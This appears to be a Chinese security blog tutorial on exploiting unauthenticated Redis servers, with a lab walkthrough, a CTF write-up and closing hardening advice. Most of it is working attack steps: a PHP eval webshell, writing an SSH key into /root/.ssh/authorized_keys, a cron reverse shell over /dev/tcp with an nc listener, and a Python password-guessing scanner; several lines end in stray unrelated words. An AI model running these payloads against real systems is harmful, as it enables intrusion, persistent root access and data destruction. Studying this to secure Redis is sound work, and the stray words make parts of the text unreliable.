Redis 默認狀況下,會綁定在 0.0.0.0:6379,若是沒有進行採用相關的策略,好比添加防火牆規則避免其餘非信任來源 ip 訪問等,這樣將會將 Redis 服務暴露到公網上,若是在沒有設置密碼認證(通常爲空)的狀況下,會致使任意用戶在能夠訪問目標服務器的狀況下未受權訪問 Redis 以及讀取 Redis 的數據。攻擊者在未受權訪問 Redis 的狀況下,利用 Redis 自身的提供的config 命令,能夠進行寫文件操做,攻擊者能夠成功將本身的ssh公鑰寫入目標服務器的 /root/.ssh 文件夾的authotrized_keys 文件中,進而可使用對應私鑰直接使用ssh服務登陸目標服務器。php
簡單說,漏洞的產生條件有如下兩點:html
(1)redis綁定在 0.0.0.0:6379,且沒有進行添加防火牆規則避免其餘非信任來源ip訪問等相關安全策略,直接暴露在公網;
(2)沒有設置密碼認證(通常爲空),能夠免密碼遠程登陸redis服務。
(1)攻擊者無需認證訪問到內部數據,可能致使敏感信息泄露,黑客也能夠惡意執行flushall來清空全部數據;
(2)攻擊者可經過EVAL執行lua代碼,或經過數據備份功能往磁盤寫入後門文件;
(3)最嚴重的狀況,若是Redis以root身份運行,黑客能夠給root帳戶寫入SSH公鑰文件,直接經過SSH登陸受害服務器
根據 ZoomEye 的探測,全球無驗證可直接利用Redis 分佈狀況以下:python
全球無驗證可直接利用Redis TOP 10國家與地區:git
下載並安裝測試用的Redis,本次採用的是Ubuntu鏡像:github
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
(若是下載不下來的話:http://distfiles.macports.org/redis/)
解壓安裝包:tar xzf redis-2.8.17.tar.gz
進入redis目錄:cd redis-2.8.17
安裝:make
make結束後,進入src目錄:cd src,
將redis-server和redis-cli拷貝到/usr/bin目錄下(這樣啓動redis-server和redis-cli就不用每次都進入安裝目錄了)
返回目錄redis-2.8.17,將redis.conf拷貝到/etc/目錄下:
使用/etc/目錄下的reids.conf文件中的配置啓動redis服務:
服務啓動成功,咱們克隆這臺虛擬機web
一臺做爲攻擊機,一臺做爲靶機redis
攻擊機IP:192.168.0.105shell
靶機IP:192.168.0.104數據庫
啓動redis服務進程後,就可使用測試攻擊機程序redis-cli和靶機的redis服務交互了。 好比:
使用redis客戶端直接無帳號成功登陸redis:apache
從登陸的結果能夠看出該redis服務對公網開放,且未啓用認證。
利用前提:
1.靶機redis連接未受權,在攻擊機上能用redis-cli連上,如上圖,並未登錄驗證
2.開了web服務器,而且知道路徑(如利用phpinfo,或者錯誤爆路經),還須要具備文件讀寫增刪改查權限
(咱們能夠將dir設置爲一個目錄a,而dbfilename爲文件名b,再執行save或bgsave,則咱們就能夠寫入一個路徑爲a/b的任意文件。)
這裏因爲本地搭建,咱們已經知道目錄,咱們把shell寫入/home/bmjoker/目錄下:
shell寫入完成,咱們在靶機上來證實:
成功寫入shell。
當數據庫過大時,redis寫shell的小技巧:
<?php
set_time_limit(0);
$fp=fopen('bmjoker.php','w');
fwrite($fp,'<?php @eval($_POST[\"bmjoker\"]);?>');
exit();
?>
靶機中開啓redis服務:redis-server /etc/redis.conf
在靶機中執行 mkdir /root/.ssh 命令,建立ssh公鑰存放目錄(靶機是做爲ssh服務器使用的)
在攻擊機中生成ssh公鑰和私鑰,密碼設置爲空:
進入.ssh目錄:cd .ssh/,將生成的公鑰保存到1.txt:
連接靶機上的redis服務,
將保存ssh的公鑰1.txt寫入redis(使用redis-cli -h ip命令鏈接靶機,將文件寫入):
遠程登陸靶機的redis服務:redis-cli -h 192.168.0.104
並使用 CONFIG GET dir 命令獲得redis備份的路徑:
更改redis備份路徑爲ssh公鑰存放目錄(通常默認爲/root/.ssh):
設置上傳公鑰的備份文件名字爲authorized_keys:
檢查是否更改爲功(查看有沒有authorized_keys文件),沒有問題就保存而後退出,
至此成功寫入ssh公鑰到靶機:
在攻擊機上使用ssh免密登陸靶機:ssh -i id_rsa root@192.168.0.104
利用私鑰成功登陸redis服務器!!!
端口監聽:
在攻擊者服務器上監聽一個端口(未被佔用的任意端口):
nc -lvnp 4444
攻擊詳情:
鏈接redis,寫入反彈shell
redis-cli -h 192.168.0.104
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.0.104/4444 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save
過一分鐘左右就能夠收到shell
可用來測試是否存在未受權或弱口令的狀況:
#! /usr/bin/env python # _*_ coding:utf-8 _*_ import socket import sys PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin'] def check(ip, port, timeout): try: socket.setdefaulttimeout(timeout) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, int(port))) s.send("INFO\r\n") result = s.recv(1024) if "redis_version" in result: return u"未受權訪問" elif "Authentication" in result: for pass_ in PASSWORD_DIC: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, int(port))) s.send("AUTH %s\r\n" %(pass_)) result = s.recv(1024) if '+OK' in result: return u"存在弱口令,密碼:%s" % (pass_) except Exception, e: pass if __name__ == '__main__': ip=sys.argv[1] port=sys.argv[2] print check(ip,port, timeout=10)
一、比較安全的辦法是採用綁定IP的方式來進行控制。
請在redis.conf文件找到以下配置
# If you want you can bind a single interface, if the bind option is not
# specified all the interfaces will listen for incoming connections.
#
# bind 127.0.0.1
把 #bind 127.0.0.1前面的註釋#號去掉,而後把127.0.0.1改爲你容許訪問你的redis服務器的ip地址,表示只容許該ip進行訪問,這種狀況下,咱們在啓動redis服務器的時候不能再用:redis-server,改成:redis-server path/redis.conf 即在啓動的時候指定須要加載的配置文件,其中path/是你上面修改的redis配置文件所在目錄,這個方法有一點不太好,我不免有多臺機器訪問一個redis服務。
二、設置密碼,以提供遠程登錄
打開redis.conf配置文件,找到requirepass,而後修改以下:
requirepass yourpassword
yourpassword就是redis驗證密碼,設置密碼之後發現能夠登錄,可是沒法執行命令了。
命令以下:
redis-cli -h yourIp -p yourPort//啓動redis客戶端,並鏈接服務器
keys * //輸出服務器中的全部key
報錯以下
(error) ERR operation not permitted
這時候你能夠用受權命令進行受權,就不報錯了
命令以下:
auth youpassword
-------------------------
於2018.11.23進行補充
在刷墨者學院的題時,發現了這個不錯的題,經過這個題了解Redis在低權限下的滲透思路:
給出了IP:219.153.49.228 ,同時也給出了倆個端口一個是web也就是http端口 419387,一個是redis數據庫端口 48055
嘗試用kali連接redis端口:
redis-cli -h 219.153.49.228 -p 48055
鏈接成功,本想用上文的方法,生成ssh密鑰把內容寫進redis數據庫,而後把redis數據庫的目錄指定到/etc/.ssh/,這樣就能夠經過ssh直接鏈接服務器,可是這裏權限不夠,不能指定到/etc/.ssh/目錄。
因爲服務器是ubuntu的,apache容器,嘗試指定一下默認的路徑/var/www/html/來寫入shell:
一波寫入shell的操做,而後在web頁面嘗試訪問咱們寫入shell的joker.php文件:
成功寫入,嘗試用菜刀連接,獲取flag:
出現這樣的問題仍是權限控制的不足
-----------------------
於2019.10.9日補充
再網上收集兩個比較方便的getshell python腳本
1.https://github.com/n0b0dyCN/redis-rogue-server
漏洞利用:
2.https://github.com/Ridter/redis-rce
漏洞利用:
反彈到其餘服務器:
參考文章:
Redis 安裝 http://www.runoob.com/redis/redis-install.html
Redis未受權訪問漏洞 http://blog.csdn.net/Hu_wen/article/details/55189777?locationNum=15&fps=1
Redis 未受權訪問配合 SSH key 文件利用分析 http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/
Redis未受權訪問漏洞利用姿式 http://www.jianshu.com/p/e550628ba1bc
https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=36100&highlight=redis